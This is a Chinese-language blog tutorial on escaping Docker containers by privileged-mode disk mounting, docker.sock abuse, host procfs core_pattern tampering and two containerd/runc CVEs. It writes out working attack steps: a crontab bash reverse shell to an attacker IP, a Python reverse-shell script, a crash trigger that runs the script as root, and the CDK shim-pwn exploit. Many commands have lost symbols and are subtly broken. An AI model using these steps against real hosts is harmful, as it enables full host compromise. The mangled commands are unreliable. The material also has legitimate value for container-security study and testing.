三种Docker逃逸技术

发布时间:2026/11/8 23:30:30

三种Docker逃逸技术 本文详细介绍了判断Docker容器环境的方法并系统阐述了三种主要的Docker逃逸技术特权模式逃逸、危险挂载逃逸以及利用Docker自身漏洞逃逸。文章通过具体的命令操作和原理说明展示了从检测到实施逃逸的完整过程。1.判断Docker容器环境通过检查根目录下是否存在.dockerenv文件来判断当前是否处于Docker容器中。使用ls -alh命令若出现.dockerenv文件则确定在容器内。ls -alh2.特权模式逃逸2.1特权模式判断使用fdisk -l命令若成功列出磁盘信息则可能处于特权模式若出现多个Permission denied则可能为非特权模式。通过检查/proc/self/status文件内容使用egrep检索特定字符序列如0000003fffffffff或0000001fffffffff来精确判断是否为特权模式。cat /proc/self/status | egrep -qi 0000003fffffffff|0000001fffffffff echo Is privileged mode || echo Not privileged mode2.2逃逸实施步骤(1)在确认特权模式后创建目录如/test并将宿主机磁盘如/dev/sda1挂载到该目录。mkdir /test mount /dev/sda1 /test(2)通过向挂载的宿主机文件系统写入计划任务如修改/test/etc/crontab文件来添加反弹shell命令从而在宿主机上获得反向连接。反弹shellecho * * * * * root bash -i /dev/tcp/192.168.1.100/4444 01 /test/etc/crontab(3)使用nc命令在攻击机开启监听等待宿主机执行计划任务后建立连接并通过检查挂载目录下的宿主机文件如/test/root来确认逃逸成功。nc -lvvp 4444ls -alh /test/root3.危险挂载逃逸3.1挂载Docker Socket逃逸原理是通过容器内挂载的/var/run/docker.sock文件与宿主机Docker守护进程通信。若容器内无/var/run/docker.sock文件可先安装Docker客户端。查看文件ls -lah /var/run/docker.sock安装docker客户端curl -fsSL https://get.docker.com/ | sh2.利用Docker命令如docker run创建新容器并将宿主机根目录挂载到新容器内使用-v /:/host参数。创建新容器docker run -it -v /:/host ubuntu /bin/bash3.在新容器内使用chroot /host命令切换根目录到宿主机文件系统从而完成逃逸。切换根目录到宿主机文件系统chroot /host3.2挂载宿主机Procfs逃逸原理linux在程序崩溃时会生成一个core文件通过篡改宿主机生成core文件的内核配置文件core_pattern使得系统崩溃并自动执行x.py反弹shell写入x.py中此时我们只需要上传一个c文件并触发程序崩溃反弹shell成功确定是procfs逃逸利用容器内挂载的宿主机proc文件系统。使用find命令确认存在两个core_pattern路径容器内和宿主机。core_pattern是 Linux内核中控制‌核心转储Core Dump‌ 行为的关键配置项。当程序崩溃如发生段错误 Segmentation Fault时操作系统会生成一个包含进程内存快照的文件即 core 文件。core_pattern 决定了这个 core 文件‌存储在哪里‌以及‌如何命名‌。/proc/sys/kernel/core_pattern宿主机配置项/host/proc/sys/kernel/core_pattern将宿主机配置项挂载到容器环境容器在宿主机的真实存储路径。通过cat /proc/mounts | grep workdir命令寻找容器在宿主机的真实存储路径如Overlay2的工作目录在容器内创建包含反弹shell代码的Python脚本如/tmp/.x.py并赋予执行权限chmod x /tmp/.x.py。cat /tmp/.x.py EOF#!/usr/bin/pythonimport osimport ptyimport socketlhost xx.xx.xx.xxlport xxxxdef main():s socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv(HISTFILE, /dev/null)pty.spawn(/bin/bash)os.remove(/tmp/.x.py)s.close()if __name__ __main__:main()EOF篡改宿主机/host/proc/sys/kernel/core_pattern的core_pattern配置将其指向容器内的恶意脚本路径。echo -e |/var/lib/docker/overlay2/123abc789def/merged/tmp/.x.py \rcore /host/proc/sys/kernel/core_pattern-e 参数允许解释反斜杠转义字符。|‌最关键的部分‌。在 core_pattern中如果值以管道符 | 开头内核会将崩溃进程的 core dump 数据通过标准输入stdin传递给紧随其后的程序而不是保存为文件。‌该程序将以 root 权限执行‌。创建并执行一个会引起崩溃的C程序如/tmp/x.c触发核心转储机制从而执行恶意脚本使攻击机获得宿主机反弹shell。cat /tmp/x.c EOF#include stdio.hint main() {int *p; // 未初始化// 错误p 指向随机地址解引用导致非法访问*p 42;return 0;}EOF攻击机开始监听nc -lvvp 4444执行引起崩溃的代码./x逃逸成功4.Docker自身漏洞逃逸CVE-2020-15257CVE-2019-5736PoC地址https://github.com/Frichetten/CVE-2019-5736-PoC.gitCVE-2020-15257poc工具CDK云安全自动化渗透框架参考地址http://github.com/cdk-team/CDK/wiki/CDK-Home-CN1漏洞原理。CVE-2020-15257 是 containerd 组件中的一个容器逃逸漏洞。该漏洞允许攻击者在特定条件下通过访问containerd-shim的 API 套接字在宿主机上以 root 权限执行任意命令从而完全控制宿主机。主要原理containerd-shim 用于管理容器生命进程它通过抽象 Unix 域套接字Abstract Unix Domain Socket暴露 API。在旧版本中该套接字的访问控制仅验证连接进程的有效 UID 是否为 0root而未严格限制网络命名空间。当容器使用 --nethost模式启动时容器与宿主机共享网络命名空间使得容器内的 root 用户可以直接访问宿主机的 containerd-shim API 套接字。2漏洞利用前提。要成功利用此漏洞必须同时满足以下三个条件一是‌Containerd 版本过低‌containerd 版本低于 1.3.9 或 1.4.3。二是‌容器使用主机网络‌容器启动时使用了--nethost(Docker) 或hostNetwork: true(Kubernetes)导致容器与宿主机共享网络命名空间。三是‌容器内为 Root 用户‌容器内的进程以 UID 0 (root) 运行。如果容器内是非 root 用户则无法通过 UID 验证。3漏洞利用下载CDK工具wget https://github.com/cdk-team/CDK/releases/download/v0.1.6/cdk_linux_amd64chmod x cdk_linux_amd64上传至容器环境docker cp cdk_linux_amd64 vuln-container:/tmp/docker exec -it vuln-container /bin/bashcd /tmp执行漏洞利用程序# 语法: ./cdk run shim-pwn attack-ip port./cdk_linux_amd64 run shim-pwn 192.168.1.100 4444
延伸阅读

更多相关文章

2026/11/1 15:51:59

采暖设备厂家怎么选?从五个维度对比靠谱供应商

对于需要采购采暖设备的用户而言,选择一家靠谱的采暖设备厂家需要从企业资质、技术能力、生产规模、项目经验和产品质量五个维度进行综合评估。本文以高森唐等采暖设备制造企业为例,围绕采暖设备厂家推荐、采购决策要点等问题展开客观说明。 Q: 采暖设备…

2026/11/9 5:21:36

Temporal工作流引擎实战:构建永不中断的分布式业务流程

1. 项目概述:为什么我们需要一个“永不中断”的工作流引擎?如果你在开发一个电商订单系统,用户下单后,需要依次调用库存锁定、支付扣款、物流发货、积分赠送、短信通知等一系列服务。任何一个环节失败,比如支付超时&am…

2026/11/7 21:49:34

Vibe Coding:敏捷开发新范式与团队协作实践指南

1. 先搞清楚 Vibe Coding 到底解决什么实际问题如果你在技术团队里带过项目,尤其是经历过从传统瀑布开发到敏捷、再到各种新协作模式的转变,就会明白“联合创始人适应 Vibe Coding”这个标题背后真正的问题是什么。它不是在讨论某个具体编程语言或框架&a…

2026/11/9 5:18:37

虞城哪里考电工证怎么报名?怕考不过白交培训费?看懂这几点就对了

虞城哪里考电工证怎么报名?怕考不过白交培训费?看懂这几点就对了 怕考不过白交培训费?虞城哪里考电工证怎么报名?这个问题在本地不少打工人群体中频繁出现。尤其是像我这样的漯河在职建筑工人,想要转行或者提升技能,电工证几乎是敲门砖。但很多人因为不…

2026/11/9 5:18:37

设备维修电工证查询全攻略:全国通用证书怎么选不被坑

设备维修电工证查询全攻略:全国通用证书怎么选不被坑 你是不是也遇到过这种情况:找了个中介报名,结果证书不全国通用,还得重新考?设备维修电工证查询是很多人关注的焦点,但真正了解的人却不多。尤其是在河南,像水利工程这类行业,电工证不仅关系到你能…

2026/11/9 5:18:37

电工证补办多久下证 外省证书能转吗多少钱

电工证补办多久下证 外省证书能转吗多少钱 之前考的证在外省能不能转过来?我认识的一个郑州房建工程的电工师傅,就因为这个问题差点耽误了项目进度。现在很多人都在问【电工证补办多久下证】,还关心【多少钱】,今天就来聊聊这个事,尤其是咱们郑州的工友…

2026/11/9 5:18:37

电工证补办多久下证 低学历也能考 考了真的值不值得考

电工证补办多久下证 低学历也能考 考了真的值不值得考 你是不是也担心学历不够,怕电工证补办之后还不能考?我理解这种焦虑,我自己当年就是个中专毕业的,连高中都没上过,但照样把电工证考下来了。其实现在考电工证门槛没那么高,…

2026/11/9 5:18:37

隆回哪里有电工证 别踩坑,学历不高也能报

隆回哪里有电工证 别踩坑,学历不高也能报 你是不是也在担心,自己学历不高,怕报不了电工证?别急,今天就来聊一聊 隆回哪里有电工证 ,而且告诉你, 千万别踩坑 ,其实很多条件并不像你想的那么苛刻。…

2026/11/9 5:13:37

特种工证件几年审查 良心建议:外省证如何转过来

特种工证件几年审查 良心建议:外省证如何转过来 之前考的证在外省能不能转过来?这个问题我几乎每天都能在微信群里看到有人问,特别是像你这样在济源做中小型施工企业负责人的朋友,手里握着一帮工人,证照不齐直接影响项目进展,心里肯定急。 良心建议…

2026/11/9 0:37:55

电工证丢失还能补吗?千万别踩坑,丢了证等于失业

电工证丢失还能补吗?千万别踩坑,丢了证等于失业 你正在找工作,但手里的电工证突然丢了,这下怎么办?别急,先别慌, 电工证丢失还能补吗 ?答案是肯定的,但 千万别踩坑 ,补办流程如果不了解,可能会耽误你上岗、甚至影响到你的收入。…

2026/11/9 0:03:09

建设厅的特种工有哪些含金量高?别交完钱考不过

建设厅的特种工有哪些含金量高?别交完钱考不过 怕考不过白交培训费?别急,先搞清楚建设厅的特种工有哪些含金量高的证,再决定是不是值得投入时间和金钱。 建设厅的特种工证是建筑行业里最基础、也最实用的证书之一,涉及多个作业类别,每种证的 含金量…

2026/11/9 0:03:09

荆门市电工证报名怎么考才靠谱 全国通用证别交冤枉钱

荆门市电工证报名怎么考才靠谱 全国通用证别交冤枉钱 怕考不过白交培训费?荆门市电工证报名前必须知道这些避坑指南。别看网上一堆培训机构广告,真要报个电工证,很多人被坑得一塌糊涂。特别是那些打着“包过”旗号的,最后不是考试不过,就是证不是全国通…

2026/11/9 0:03:09

高空电工作业过程通过率揭秘:怎么选靠谱机构不被坑

高空电工作业过程通过率揭秘:怎么选靠谱机构不被坑 不知道去哪报名怕被中介坑?你不是一个人。现在特种作业证报名渠道五花八门,从线下培训机构到线上代理,真假难辨。尤其是像高空电工作业这类高风险、高门槛的作业类型,证书含金量和考试通过率直接影响你…

2026/11/7 14:54:47

面向复杂光照与角度的宠物面部识别鲁棒性增强策略

在智慧养宠时代,基于视觉的宠物身份识别技术正逐步从实验室走向家庭应用。然而,与配合度高的人类不同,宠物是典型的“非合作生物识别对象”——它们不会主动配合摄像头调整姿态,更无法控制光照环境。实际应用中,我们常…

2026/11/7 14:50:12

SSM电子书店源码全解析:结构、原理、部署与排错实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑